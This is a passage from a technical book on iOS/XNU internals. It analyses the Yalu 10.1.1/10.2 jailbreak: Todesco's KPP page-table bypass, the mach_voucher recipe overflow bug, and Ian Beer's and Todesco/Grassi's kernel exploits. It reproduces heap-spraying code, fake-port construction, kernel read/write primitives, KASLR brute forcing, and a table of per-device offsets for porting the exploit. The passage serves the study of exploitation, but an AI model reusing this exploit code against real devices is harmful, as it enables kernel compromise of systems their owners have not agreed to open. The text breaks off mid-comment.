Even without symbols, the KPP instructions would stick out like a sore thumb in any user-
mode binary's disassembly: The reason being that they use MRS/MSR instructions, which
(respectively) get and set special registers which are only accessible in EL1, i.e. kernel mode. So
even with basic reversing it becomes obvious that this code is injected into the kernel - as
corroborated by loading kppsh0 into a memcpy().

The code is remarkably elegant and compact*, but still requires quite a bit of elaboration as
to its two components: kppsh0, e0 and kppsh1.

* - the sinister logic behind page remapping and the dark magic of page table manipulation isn't half as compact,
however, and is left out of scope of this discussion



 

kppsh1

Recall (from Chapter 13), that KPP's main entry point is on CPACR_EL1 access. This register
toggles the use of floating point instructions. As it turns out, there is exactly one location in the
kernel where this register is accessed. The instruction cannot be NOPed out, however, because
doing so will effectively disable floating point operations across the entire system - rendering it
unusable.

Instead, Todesco replaces the instruction (MSR CPACR_EL1, X0) with a BL (call) to
_kppsh1. The injected code then starts off by saving the present value of TTBR1_EL1, the
kernel's Translation Table Base Register, into X1. It then loads the original value of the register
into X0, and overwriting TTBR1_EL1 with it. it then toggles the value of CPACR_EL1, running
the overwritten instruction - and thereby invoking KPP.

But what happens next is ingenious: The KPP code in EL3 checks the value of TTBR1_EL1,
and finds it to be the original value that was first saved by it. The page tables pointed to by this
TTBR1_EL1 are, in fact, the original ones used by the kernel on boot, and are unmodified. Not
only does this prevent error 0x575408, but it also hides any modified kernel pages from KPP's
view. In other words, Luca's clever hack is to ensure that when KPP is called it always sees
the original, unmodified page table of the kernel, and not the actual present one,
which contains modified pages. When a kernel patch is applied, getting around KPP is simply
a matter of applying a physical "Copy on Write" technique - i.e. leave the original physical page
(pointed to by the original TTBR1_EL1) unmodified, and allocate a new physical page to be
modified (pointed to by the current TTBR1_EL1). This is shown in the following figure:

Figure 24-6: The page table manipulation used to defeat KPP



 

e0

There is one other issue to consider - which is cases wherein the CPU resets, idle sleeps or
deep sleeps. Waking up in those cases it would get incorrect values of the gVirtBase and the
VBAR_EL1 (the exception vector for kernel mode). The code at e0 handles these cases, but
before considering it, let us first see XNU's own handler, shown in Listing 24-7:

Listing 24-7: XNU's wake up code (from XNU-3789.2.2 of an n61*)

fffffff00708f2b8  ADRP  X0, 2097122     ; R0 = 0xfffffff007071000 
fffffff00708f2bc  ADD   X0, X0, #1416   ; X0 = 0xfffffff007071588 
fffffff00708f2c0  LDR   X0, [X0, #0]    ; X0 = *(0xfffffff007071588, no sym)
fffffff00708f2c4  ADRP  X1, 2097122     ; X1 = 0xfffffff007071000 
fffffff00708f2c8  ADD   X1, X1, #1424   ; X1 = 0xfffffff007071590 
fffffff00708f2cc  LDR   X1, [X1, #0]    ; X1 = *(0xfffffff007071590, no sym) 

fffffff00708f2d0  MSR   TTBR0_EL1, X0   ; Translation Table Base Register..
fffffff00708f2d4  MSR   TTBR1_EL1, X1   ; Translation Table Base Register..
fffffff00708f2d8  ADD   X0, X21, X22    ; 
fffffff00708f2dc  SUB   X0, X0, X23     ;
fffffff00708f2e0  MOVZ  X1, 0x0         ; R1 = 0x0 
fffffff00708f2e4  ISB                   ;
fffffff00708f2e8  TLBI  VMALLE          ;
fffffff00708f2ec  DSB   ISH             ;
fffffff00708f2f0  ISB                   ;
fffffff00708f2f4  RET                   ;

The code in the listing is called from XNU's common_start, which - as explained in Volume
II - is itself called when either the first CPU or a secondary one (= core) is started. When the
CPU starts up or is resumed, it operates in physical, not virtual, so page tables have to be set up
again. common_start calls the code in Listing 24-7, as part of a trampoline - which returns to a
different address (specified in X30, the link register). The working page tables must be loaded,
from specific addresses in kernel __DATA_CONST.__const memory (0xfffffff007071588 and
..90 in the above listing). X22 is expected to hold the gVirtBase. Resets reload the page tables
and rebase virtual addresses every single time, so a mere gadget won't help here - every single
reset must be hooked, to shift from the kernel's saved page tables to those used by Luca.

Execution is therefore subverted from _start_common, installing e0 so that the flow
branches to it, rather than that of Listing 24-7. On entry, X0 is the pointer to e0 itself (since
execution was transferred using a BR X0 instruction), X30 holds the return address, and X22
holds the fake virtBase used. But the values can be patched up, since origgVirtBase has
been a priori saved, which allows for calculating the difference between the two. All this is done
in a small window wherein interrupts are disabled, so there are no concurrency considerations.
Converting the code in e0 (from back in Listing 24-5) to human readable pseudo-code we have:

Listing 24-8: The e0 patch, in pseudocode

  X30 = X30 - fakevirtbase; X0  = X0  - fakevirtbase 
  X30 = (X30 - fakevirtbase) + origgVirtBase
  // fix X8 so it points to original wakeup code
  X8 = (X0 - fakevirtbase) + origgVirtBase
  // move forward six instructions (which would set VBAR_EL1, TTBR..)
  X8 += 24 (skips six instructions)
  // Set VBAR_EL1 manually
  MSR (VBAR_EL1, origvbar);
  // Resume wakeup code with modified values
  X0 = ttbr0; X1 = ttbr1_fake;
  X8(ttbr0, ttbr1_fake); 

Note X8 += 24 - this jumps over the first six instructions of Listing 24-7, which load the
values to be loaded into TTBR0_EL1 and TTBR1_EL1 into X0 and X1, respectively. Todesco
loads patched values, and then resumes immediately after, when these values are applied to the
TTBR*_EL1 registers. The patch is elegant and seamless. Truly, proof that exploitation is art!

* - If you're using jtool to find this code in other versions of XNU - grep for MSR.*TTBR._EL1 will do the trick.



 

Post-Exploitation

With KPP bypassed, there is nothing to prevent Yalu from achieving a full jailbreak: The flow
from here is very much the "standard" jailbreak logic, which involves installing binaries (including
Cydia) - in this case from a bootstrap.tar, restarting specific daemons and rebuilding
SpringBoard's uicache (so as to make the Cydia icon visible). The flow is easily discernible with a
simple invocation of jtool

Output 24-9: Showing Yalu's post-exploitation with jtool:

Since this book originally covered the jailbreak, Luca Todesco has made Yalu
fully open source[2]. The method shown using jtool in Output 24-9 is still

useful in general to perform partial decompilation of iOS binaries. Note, also, that
the KPP bypass in Yalu 10.2 differs somewhat than 10.1.1, which is what was
explained in this chapter. The interested reader is encouraged to read the sources
to see the differences.

# Disassemble all the _exploit function, isolating only known decompiled lines
# (note Luca never renamed the binary, so it's still mach_portal)
morpheus@Zephyr (~/Yalu)$ jtool -D _exploit mach_portal
....
; Foundation::_NSLog(@"amfi shellcode... rip!");
; Foundation::_NSLog(@"reloff %llx");
; Foundation::_NSLog(@"breaking it up");
; Foundation::_NSLog(@"enabling patches");
; libSystem.B.dylib::_sleep(1);
; Foundation::_NSLog(@"patches enabled");
; R0 = libSystem.B.dylib::_strstr("?","16.0.0",,);
; R0 = libSystem.B.dylib::_mount("hfs","/",0x10000,0x100017810);
; Foundation::_NSLog(@"remounting: %d");
; [Foundation::_OBJC_CLASS_$_NSString stringWithUTF8String:?]
; [? stringByDeletingLastPathComponent]
; R0 = libSystem.B.dylib::_open("/.installed_yaluX",O_RDONLY);
; [? stringByAppendingPathComponent:@"tar"]
; [? stringByAppendingPathComponent:@"bootstrap.tar"]
; [? UTF8String]
; libSystem.B.dylib::_unlink("/bin/tar");
; libSystem.B.dylib::_unlink("/bin/launchctl");
; libSystem.B.dylib::_chmod("/bin/tar",0777);
;  R0 = libSystem.B.dylib::_chdir("/");
; [? UTF8String]
; Foundation::_NSLog(@"pid = %x");
; [? stringByAppendingPathComponent:@"launchctl"]
; [? UTF8String]
; libSystem.B.dylib::_chmod("/bin/launchctl",0755);
;  R0 = libSystem.B.dylib::_open("/.installed_yaluX",O_RDWR|O_CREAT);
;  R0 = libSystem.B.dylib::_open("/.cydia_no_stash",O_RDWR|O_CREAT);
; libSystem.B.dylib::_system("echo '127.0.0.1 iphonesubmissions.apple.com' >> /etc/hosts");
; libSystem.B.dylib::_system("echo '127.0.0.1 radarsubmissions.apple.com' >> /etc/hosts");
; libSystem.B.dylib::_system("/usr/bin/uicache");
; libSystem.B.dylib::_system("killall -SIGSTOP cfprefsd");
; [CoreFoundation::_OBJC_CLASS_$_NSMutableDictionary alloc]
; [? initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"]
; [Foundation::_OBJC_CLASS_$_NSNumber numberWithBool:?]
; [? setObject:? forKey:@"SBShowNonDefaultSystemApps"]
; [? writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:?]
; libSystem.B.dylib::_system("echo 'really jailbroken'; (sleep 1; /bin/launchctl load /Library/Launc...");
; libSystem.B.dylib::_dispatch_async(libSystem.B.dylib::__dispatch_main_q,^(0x23e0 ?????);
; Foundation::_NSLog(@"%x");
; libSystem.B.dylib::_sleep(2);
; libSystem.B.dylib::_dispatch_async(libSystem.B.dylib::__dispatch_main_q,^(0x2390 ?????);

https://github.com/kpwn/yalu102/


 

10.2: A deadly trap and a recipe for disaster

As discussed earlier, Apple promptly patched the mach_portal bugs (which served as the
basis for Yalu 10.1.1) in 10.2. Another bug promptly surfaced, however: Marco Grassi discovered
a bug in the mach_voucher_extract_attr_recipe_trap Mach trap, which could lead to a
caller controlled kernel memory corruption - and was exploitable from within a sandbox. This
bug was also coincidentally discovered by Ian Beer, who followed the precedent set with
mach_portal and released a proof of concept along with a detailed writeup[3]. Since this
burned the bug, as Apple fixed it promptly in 10.2.1, it made a perfect candidate for upgrading
Yalu to 10.2.

The bug

The bug found by Beer is ridculously embarassing. Hiding in plain sight in the code of the
mach_voucher_extract_attr_recipe_trap, from osfmk/ipc/mach_kernelrpc.c:

Listing 24-10: mach_voucher_extract_attr_recipe_trap (from XNU 3789.21.4):

kern_return_t
mach_voucher_extract_attr_recipe_trap
 (struct mach_voucher_extract_attr_recipe_args *args)
{
 ...
        mach_msg_type_number_t sz = 0;

        if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))
                return KERN_MEMORY_ERROR;
...
       mach_msg_type_number_t __assert_only max_sz = sz;

        if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
                /* keep small recipes on the stack for speed */
                uint8_t krecipe[sz];
                if (copyin(args->recipe, (void *)krecipe, sz)) {
                        kr = KERN_MEMORY_ERROR;
                        goto done;
                }
  ...
 }
  } else {
            uint8_t *krecipe = kalloc((vm_size_t)sz);
            if (!krecipe) {
                    kr = KERN_RESOURCE_SHORTAGE;
                    goto done;
            }

            if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
                    kfree(krecipe, (vm_size_t)sz);
                    kr = KERN_MEMORY_ERROR;
                    goto done;
            }

     ..

Note the last part of the code - krecipe is allocated in a kernel zone based on the
argument sz, but the copyin(9) operation copies args->recipe_size bytes - which is the
userspace pointer pointing to sz. This bug's very existence is simply ubelievable, in that it is
relatively new code written in an area of much greater security awareness than the core of XNU
(vouchers were added in 10.10). Not only could this bug have been found with minimal testing
of the trap, but it also generates a compiler warning that's hard to ignore - which apparently
Apple's developers ignored anyway. And so, ignorance is bliss - to jailbreakers and exploiters,
since an attacker can now trigger a zone corruption easily.

https://bugs.chromium.org/p/project-zero/issues/detail?id=1004


 

The exploit (Beer)

One minor hitch you may have seen in Listing 24-10, is that the args->recipe_size, which is
erroneously used as the length of the copy operation, nonetheless needs to be valid - so that the
first copyin(9) (of sz, which should have been used instead!) doesn't fail. This is easily done
by calling mach_vm_allocate(), rather than malloc(3), as the former can allocate in a
fixed address. Pagezero size is also adjusted artificially (with the -pagezero_size=0x16000
linker argument), to allow for low memory allocations. Beer explains this in his do_overflow()
function, which is the heart of the exploit:

Listing 24-11: Beer's concoction of the voucher recipe

void do_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data) {
  int pagesize = getpagesize();
  printf("pagesize: 0x%x\n", pagesize);

  // recipe_size will be used first as a pointer to a length to pass to kalloc
  // and then as a length (the userspace pointer will be used as a length)
  // it has to be a low address to pass the checks which make sure the copyin will 
  // stay in userspace

  // iOS has a hard-coded check for copyin > 0x4000001:
  // this xcodeproj sets pagezero_size 0x16000 so we can allocate this low
  static uint64_t small_pointer_base = 0x3000000;
  static int mapped = 0;
  void* recipe_size = (void*)small_pointer_base;
  if (!mapped) {
    recipe_size = (void*)map_fixed(small_pointer_base, pagesize);
    mapped = 1;
  }

That still leaves a challenge of a the pointer value - though small, it would still be
unreasonably large (0x300000, in Beer's exploit) - when the allocation certainly isn't that large in
memory. A nice feature of copyin(9), however, is that it explicitly handles partial copies - that
is, cases where not all virtual memory pages a buffer spans are actually paged in. In those
cases, copyin(9) copies what it can, then fails gracefully. Beer therefore exploits that, by
aligning the data he actually wants copied at the end of a page boundary, and then explicitly
deallocating the following page. This causes copyin(9) to copy the exact amount of bytes he
wishes to overflow (merely eight bytes), carefully controlling the memory corruption so it doesn't
overextend its reach.

With the mapping carefully constructed, all that is left is for Beer to trigger the bug, which is
an application of the mach_voucher_extract_attr_recipe_trap with the pointer/size
argument.

Controlling the Overflow

Before triggering the overflow, a little Feng Shui is in order. Beer preallocates some 2000
dummy ports, and uses mach_port_allocate_full(), rather than the default
mach_port_allocate(), as the former function supports setting QoS parameters. By
specifying a QoS length of his choice (0x900), he can direct the allocation to a zone of his choice
(kalloc.4096, which is the closest fit). This is practically guaranteed to cause a zone
expansion, and so the actual three ports he will actually use - the holder, first and second - are
likely to be allocated on three virtually contiguous pages. Beer thus allocates all three, and frees
the holder.



 

Next, he triggers the overflow. Beer chooses a very small size for his overflow - merely 64
bytes. In fact, he only needs the first four, as his victims are preallocated Mach message buffers:
Ports may have a preallocated message associated with them (in their ip_premsg field), which
are then used by ipc_kmsg_get_from_kernel for "kernel clients who cannot afford to wait".
The first four bytes of these buffers hold an ikm_size field, which (in a call to the
ikm_set_header() macro) determines the offset in the kalloc()ed buffer where the
message is to be read from or written to. Beer chooses to overwrite this size with 0x1104,
meaning 260 bytes larger than the zone allocation size (kalloc.4096). Beer now indirectly
controls the ikm_header field where the message will be copied to. Indirectly, because he can
only affect the calculation of the address in this field via ikm_size - offsetting it from its
intended location by the overwritten value.

The next challenge is finding what type of message is controllable, yet still sent from the
kernel proper (to qualify for preallocation). Mach exception messages make perfect vessels -
they are indeed sent from the kernel (when a thread crashes), and in addition can be indirectly
controlled - since they will contain the register state of the thread at the moment of the crash.

Beer therefore prepares a small ARM64 assembly file, load_regs_and_crash.s, which does
exactly that: load all the registers from the stack pointer (X30), and then call a breakpoint
instruction:

Listing 24-12: The harakiri thread code

.text                         # Mark as code

.globl  _load_regs_and_crash  # Export symbol so it can be linked

.align  2                     # Align
_load_regs_and_crash:
mov x30, x0                   # Use X30 (SP) as base for loads, from X0 (argument)
ldp x0, x1, [x30, 0]                                                  
ldp x2, x3, [x30, 0x10]       #              +-----------------+ 
ldp x4, x5, [x30, 0x20]       #        0xe8  | loaded into x29 | 
ldp x6, x7, [x30, 0x30]       #              +-----------------+ 
ldp x8, x9, [x30, 0x40]       #        0xe0  + loaded into x28 + 
ldp x10, x11, [x30, 0x50]     #              +-----------------+ 
ldp x12, x13, [x30, 0x60]     #              +-               -+ 
ldp x14, x15, [x30, 0x70]     #              +-    ......     -+ 
ldp x16, x17, [x30, 0x80]     #              +-    ......     -+ 
ldp x18, x19, [x30, 0x90]     #              +-               -+ 
ldp x20, x21, [x30, 0xa0]     #              +-----------------+ 
ldp x22, x23, [x30, 0xb0]     #        0x08  | loaded into X1  | 
ldp x24, x25, [x30, 0xc0]     #              +-----------------+ 
ldp x26, x27, [x30, 0xd0]     #        0x00  | loaded into X0  | 
ldp x28, x29, [x30, 0xe0]     # argument --! +-----------------+ 

brk 0                         # breakpoint (generates exception message)

Beer thus creates a function, send_prealloc_msg, which will send a controlled exception
message to any port of his choice, by creating a thread, setting the desired port as the exception
port, and then passing the buffer he wants sent in the exception message to that thread as an
argument. The thread function (do_thread()) loads the code from Listing 24-12, which loads
the buffer into the threads, in order, and triggers the exception message.

As discussed in Volume I, the exception message is sent to the designated exception port,
before any UN*X signal is generated. The message contains the thread state, which is a small
structure containing the exception flavor and code, as well as the registers - X0-X29 in the same
order loaded by the code in Listing 24-12, followed by X30 (the address of the buffer itself).
What follows, therefore, is that Beer can control 240 bytes (= 30 registers * 8 bytes per
register). Note, that an ARMv7 exploit would be able to control less than a quarter of that
amount (due to half the number of registers and half the register size), but would still be just as
feasible.



 

The exception message is copied into the address pointed to by the ikm_header - which,
as we've established, has been corrupted at this point. The message is written as the
mach_msg_header followed by the thread state - along with its controlled values. Beer traps
the exception and gracefully exits the faulting thread (lest it crash the process), but the goal has
been achieved - a controlled memory overwrite, in a different zone page.

As Beer explains, the overflow is such that when he sends a message to the first port, it
effectively overwrite the header of the preallocated message of the second port (with 0xc40).
Beer then sends a message to the second port, which reuses the preallocated message and
embeds a pointer to it in the buffer. By then receiving the message on the first port he can leak
the the address of the buffer itself (eight bytes into generated exception message).

Once he obtains the address, Beer frees the second port, and attempts to allocate an
IOUserClient for AGXCommandQueue over it. The choice of user client is under the
constraints of a sandbox accessible one. Beer reads back the address of the user client,
subtracting it from the (hardcoded) pre-KASLR address, thereby deducing the slide value.

Kernel read-write

With KASLR defeated, Beer proceeds to destroy the vtable of the user client, transforming it
into two primitives - rk128/wk128 to read and write 16 bytes (128-bits) of kernel memory.
These call OSSSerializer::serialize (whose address, pre-KASLR), is hard-coded) and
turning it into an execution primitive for any function in kernel mode with two arguments. Beer
selects the kernel's uuid_copy (another hard-coded offset), because it copies a 16-byte buffer
(which should be a UUID) from one argument to another, thereby giving him the two primitives
he needs. The rk128 primitive is shown in Listing 24-13. wk128 is defined similarly, as
explained in the annotations:

Listing 24-13: Beer's rk128 primitive

uint128_t rk128(uint64_t address) {
  uint64_t r_obj[11];
  r_obj[0] = kernel_buffer_base+0x8;  // fake vtable points 8 bytes into this object
  r_obj[1] = 0x20003;                 // refcount
 // wk128 flips [2] and [3] (dst becomes src, and vice versa)
  r_obj[2] = kernel_buffer_base+0x48; // obj + 0x10 -> rdi (memmove dst)
  r_obj[3] = address;                 // obj + 0x18 -> rsi (memmove src)
  r_obj[4] = kernel_uuid_copy;        // obj + 0x20 -> fptr
  r_obj[5] = ret;                     // vtable + 0x20 (::retain)
  r_obj[6] = osserializer_serialize;  // vtable + 0x28 (::release)
  r_obj[7] = 0x0;                     //
  r_obj[8] = get_metaclass;           // vtable + 0x38 (::getMetaClass)
 // wk128 sets the following two values with its input:
  r_obj[9] = 0;                       // r/w buffer
  r_obj[10] = 0;
 
  send_prealloc_msg(oob_port, r_obj, 11);
  io_service_t service = MACH_PORT_NULL;
  printf("fake_obj: 0x%x\n", target_uc);
  kern_return_t err = IOConnectGetService(target_uc, &service);

  uint64_t* out = receive_prealloc_msg(oob_port);
  uint128_t value = {out[9], out[10]};

  send_prealloc_msg(oob_port, legit_object, 30);
  receive_prealloc_msg(oob_port);
  return value;
}

Beer's PoC stops at reading and writing an arbitrary value in kernel memory. Once again,
Beer demonstrates superb mastery of XNU's internals - The technique is beyond clever, and will
likely be used in future jailbreaks as well. It is, however, unfortunately unreliable. Even with the
correct offsets, the reliance on contiguous allocations and precise kernel zone layouts causes
frequent kernel panics. The approach taken by Yalu is radically different, and proves to be more
robust a building block for a jailbreak.



 

Experiment: Adapting a PoC to a different kernel version

Beer provides his PoC code for the iPod Touch 6G running 10.2, but the bug exists
across all devices - and goes back to the introduction of the vulnerable Mach trap (In XNU
2782, iOS 8). This means that the code could be adapted to any i-Device (including 32-bit
ones, as well as the Apple TV and the watch). It's just a matter of getting the offsets right
for 64-bit devices, and a few additional tweaks for 32-bit ones.

Apple has provided a huge boon for jailbreakers by neglecting or deciding to not encrypt
kernelcaches as of iOS 10 (For earlier versions, offsets can be obtained but require either a
lot of trial and error, or an a priori obtained kernel memory dump). You can therefore easily
get the offsets using joker and jtool (or IDA). The hard-coded offsets which need
changing are:

OSData::getMetaClass(): can be located by using jtool and grep: 

jtool -S kernelcache | grep __ZNK6OSData12getMetaClassEv

(that is, using the mangled form of the C++ symbol).

OSSerializer:serialize::OSSerialize can be found similarly, by greping for
__ZNK12OSSerializer9serializeEP11OSSerialize.

uuid_copy: can be found with jtool -S kernelcache | grep uuid_copy.
Since this is a C symbol, no mangling is necessary.

A RET gadget: Any address containing a RET instruction will do here. Simply use
jtool -d kernelcache | grep RET and pick one of the many returned.

The vtable of AGXCommandQueue: is the most challenging symbol to obtain. It first
takes using joker -K com.apple.AGX to extract the kernel extension from the
kernel cache. Then, the offset you'll need is inside __DATA_CONST.__const - but
since the section contains quite a few vtables, you'll have to use the offset from the
iPod Touch 6G kext as a reference, dumping and comparing the
__DATA_CONST.__const sections from both kernels, and figuring out the relative
offset of the vtable in the iPod kernel first, before applying it to the kernel of your
target i-Device.

Table 24-14 can help get you started, showing all offsets but RET for select devices:

Table 24-14: Some offsets for Beer's exploit, on different i-Devices

Offset (variable name) iPad 10.2 iPhone 5s 10.1.1 Apple TV 10.1
get_metaclass 0xfffffff007444900 0xfffffff007434110 0xfffffff0074446dc

osserializer_serialize 0xfffffff00745b300 0xfffffff00744aa28 0xfffffff00745b0dc

uuid_copy 0xfffffff00746671c 0xfffffff007455d90 0xfffffff0074664f8

vtable 0xfffffff006f85310 0xfffffff006fbe6b8 0xfffffff006fed2d0

If the steps are performed correctly, you should be able to run the exploit on any 64-bit
device - bearing in mind that, even with the right offsets, it might take a few attempts, as
the exploit isn't stable.



 

The exploit (Todesco & Grassi)

Todesco and Grassi's exploit differs than that of Beer's, and is more reliable. The exploit is in
the ViewController.m file. The implementation of -(void)viewDidLoad (which is called
immediately after the main view is loaded) first checks if the device is already jailbroken. It does
so by getting the uname(3), and checking for the string "MarijuanARM", indicating the kernel is
already patched. The pot-heavy attitude is also evident in the very detailed comment before the
exploit code, citing the lyrics of RondoNumbaNine's "Want Beef" - a rap song which certainly
gained more popularity following its inclusion in the source.

The exploit code is in the yolo:(UIButton*)sender function, which is the handler for
handling the UI's button click. The code flow is shown in Figure 24-15 (next page).

Constructing a fake Mach object

Yalu and Beer's PoC exploit the exact same bug, but take entirely different approaches.
Whereas Beer chose to exploit kmsgs tied to kernel port objects, Yalu exploits the port objects
themselves. It begins by allocating its mapping: An 8k mapping of an unstructured buffer called
odata, whose second half (i.e. offset 0x4000 and onward) is again mapped so as to make it
invalid (that is, PROT_NONE). The mapping is guaranteed to be in a low memory address
because Yalu is compiled as a 32-bit application.

The exploit then sets an allocation size of 0x100, and adjusts fdata so it points 0x200
bytes ahead of its original location (that is, at offset 0x3e00). This controls the overflow, using
the same technique as Ian Beer's - as offset 0x4000 and onward have been made inaccessible.
At offset 0x3f00 (the first bytes bytes of the overflow) it embeds a pointer to a fake object, as
shown in Figure 24-16:

Figure 24-16: The memory construct and positioning of fake object



 

Figure 24-15: The exploit flow of Yalu 10.2



 

The fake object constructed is as trivial as it proved to be controversial*. Its definition is
shown in Listing 24-17, taken verbatim from Yalu's source:

Listing 24-17: The fake object construct used by Yalu (verbatim definition)

typedef natural_t not_natural_t;
struct not_essers_ipc_object {
    not_natural_t io_bits;
    not_natural_t io_references;
    char    io_lock_data[1337];
}

The first two fields of the object are indeed unabashed, outright plagiarism - of XNU's own
struct ipc_object (from osmfk/ipc/ipc_object.h). The third was changed from an arbitrary
length of 128 to 1337 to avoid copyright infringement claims*, though in practice the length is
entirely irrelevant for the exploit. What matters with this structure is that it is a common header
for all of XNU's Mach objects, after which the rest of the fields vary by object type (think C++
superclass and subclasses). The duo uses this structure to morph the fake object as need
dictates, setting the pointer to their fake structure from the area they plan to overflow:

Listing 24-18: The fake object construct used by Yalu (verbatim definition)

    struct not_essers_ipc_object* fakeport = 
 mmap(0, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
    
    mlock(fakeport, 0x8000);
    fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK;
    fakeport->io_lock_data[12] = 0x11;
    
    *(uint64_t*) (fdata + rsz) = (uint64_t) fakeport;

And so, the first use of this fake object is impersonating the Mach clock primitive. By setting
the io_bits to an IKOT_CLOCK, and marking the object with IO_BITS_ACTIVE (a necessary
requirement so that Mach code will actually treat this object as a live one), assumes the guise of
a clock. Care is taken to mark the object as unlocked (via the 12th byte of the io_lock_data,
which is set to 0x11).

Triggering the overflow

With the object ready, the next step is to trigger an overflow. But as with Beer's method,
before anything can happen, some Feng Shui must be applied. For this, Yalu exploits no less
than 800 ports, (albeit not with QoS, as Beer does to ensure kalloc.4096 usage). The exploit
then constructs numerous Mach messages, each with up to 256 OOL port descriptors, and an
additional padding of 4096 bytes, as shown in Listing 24-19. The OOL port descriptors are all
laden with dead ports (MACH_PORT_DEAD).

Listing 24-19: The fake messages and port spraying employed by Yalu

 // Prepare message
 for (int i = 0; i < 256; i++) {
        msg1.desc[i].address = buffer;
        msg1.desc[i].count = 0x100/8;   // = 32
        msg1.desc[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        msg1.desc[i].disposition = 19; // MACH_MSG_TYPE_COPY_SEND
    }
    

* - Stefan Esser was quick to cry havoc and complain of "stealing" by "scum" when Todesco and Grassi's open source
code appeared to contain same structure (all three fields of it) used to construct the fake IPC object as allegedly
"watermarked code" of his.



 

Listing 24-19 (cont.): The fake messages and port spraying employed by Yalu

 pthread_yield_np();
 // Spray first 300 ports with messages
 for (int i=1; i<300; i++) {
   msg1.head.msgh_remote_port = ports[i];
   kern_return_t kret = mach_msg(&msg1.head, MACH_SEND_MSG, msg1.head.msgh_size, 0, 0, 0, 0);
   assert(kret==0); }

 pthread_yield_np();
 // Spray last 300 with messages
 for (int i=500; i<800; i++) {
   msg1.head.msgh_remote_port = ports[i];
   kern_return_t kret = mach_msg(&msg1.head, MACH_SEND_MSG, msg1.head.msgh_size, 0, 0, 0, 0);
   assert(kret==0); }

 pthread_yield_np();
 // Spray 200 middle ports with messages either containing 1 descriptor (25%) or 256 (75%)
 for (int i=300; i<500; i++) {
   msg1.head.msgh_remote_port = ports[i];
   if (i%4 == 0) { msg1.msgh_body.msgh_descriptor_count = 1; }
   else { msg1.msgh_body.msgh_descriptor_count = 256; }
   kern_return_t kret = mach_msg(&msg1.head, MACH_SEND_MSG, msg1.head.msgh_size, 0, 0, 0, 0);
   assert(kret==0); }

 pthread_yield_np();
 // Read the sprayed messages containing 1 descriptor
 for (int i = 300; i<500; i+=4) {
   msg2.head.msgh_local_port = ports[i];
   kern_return_t kret = mach_msg(&msg2.head, MACH_RCV_MSG, 0, sizeof(msg1), ports[i], 0, 0);
   // Only need ports fro 300 to 379
   if(!(i < 380)) ports[i] = 0;
   assert(kret==0); }

 // Resend the messages on 300-379 with 1 descriptor
 for (int i = 300; i<380; i+=4) {
   msg1.head.msgh_remote_port = ports[i];
   msg1.msgh_body.msgh_descriptor_count = 1;
   kern_return_t kret = mach_msg(&msg1.head, MACH_SEND_MSG, msg1.head.msgh_size, 0, 0, 0, 0);
   assert(kret==0); } 

 // Trigger overflow
 mach_voucher_extract_attr_recipe_trap(vch, MACH_VOUCHER_ATTR_KEY_BANK, fdata, &rsz);

 // And look for a sign of life amidst all those dead OOL descriptors
 mach_port_t foundport = 0;
 for (int i=1; i<500; i++) {
  if (ports[i]) {
    msg1.head.msgh_local_port = ports[i];
    pthread_yield_np();
    kern_return_t kret = mach_msg(&msg1, MACH_RCV_MSG, 0, sizeof(msg1), ports[i], 0, 0);
    assert(kret==0);
    for (int k = 0; k < msg1.msgh_body.msgh_descriptor_count; k++) {
      mach_port_t* ptz = msg1.desc[k].address;
      for (int z = 0; z < 0x100/8; z++) {
          if (ptz[z] != MACH_PORT_DEAD) {
               if (ptz[z]) { foundport = ptz[z]; goto foundp; }
           }
        }
      }
      mach_msg_destroy(&msg1.head);
      mach_port_deallocate(mach_task_self(), ports[i]);
        ports[i] = 0;
      }
  }

The logic behind the particular spray technique is because in iOS 10 there is no guarantee
that a hole (due to free()) will be immediately filled by the next allocation of the same size.
These numbers, however, often work, and so the overflow is then triggered on fdata, which
causes one of the OOL port descriptors in one of the messages to be overwritten, so that the
descriptor points to the fake port object constructed earlier, providing a send right to it. Finding
which one is trivial, since all the rest of the descriptors were intentionally marked as dead. Yalu
now has a valid port handle to a controlled ipc_port_t kernel object. Let the games begin!



 

Defeating KASLR

Fake port at hand, the next step is to get the kernel base. To do this, the exploit finds an
unwitting accomplice in another often overlooked Mach trap:

Listing 24-20-a: Getting the clock port with clock_sleep_trap()

  uint64_t textbase = 0xfffffff007004000;
    
  for (int i = 0; i < 0x300; i++) {
     for (int k = 0; k < 0x40000; k+=8) {
        *(uint64_t*)(((uint64_t)fakeport) + 0x68) = textbase + i*0x100000 + 0x500000 + k;
        *(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
            
        kern_return_t kret = clock_sleep_trap(foundport, 0, 0, 0, 0);
           
        if (kret != KERN_FAILURE) {
            goto gotclock;
        }
      }
   }
  [sender setTitle:@"failed, retry" forState:UIControlStateNormal];
   return;

gotclock:;
   uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);

The clock_sleep_trap expects its first argument to be a send right to the clock port,
and will only return KERN_SUCCESS if it is. The exploit therefore effectively brute forces all
possible values, starting with the (unslid) kernel base address (0xfffffff007004000 throughout all
iOS 10 variants), then iterating possible slide values (i) and offsets in page (k). Each time, the
guessed value is loaded onto the fakeport's kdata union (at offset 0x68) into kobject. Wrong
values will return a KERN_FAILURE, until one of them gets it right!

So now we have the clock port address figured out, and the exploit continues:

Listing 24-20-b: Defeating KASLR, one page at a time

gotclock:;
    uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
    
    leaked_ptr &= ~0x3FFF; // align on page size (0x4000)
    
    // pretend our fake port is of type task (since we will use it as such)
    fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
    fakeport->io_references = 0xff;
    char* faketask = ((char*)fakeport) + 0x1000;
    
    *(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
    *(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
    *(uint64_t*) (faketask + 0x10) = 0xee;
    
    // use pid_for_task in order to leak kernel memory: The exploit asks
    // the track to return (what it thinks is) task->bsd_info->pid, but 
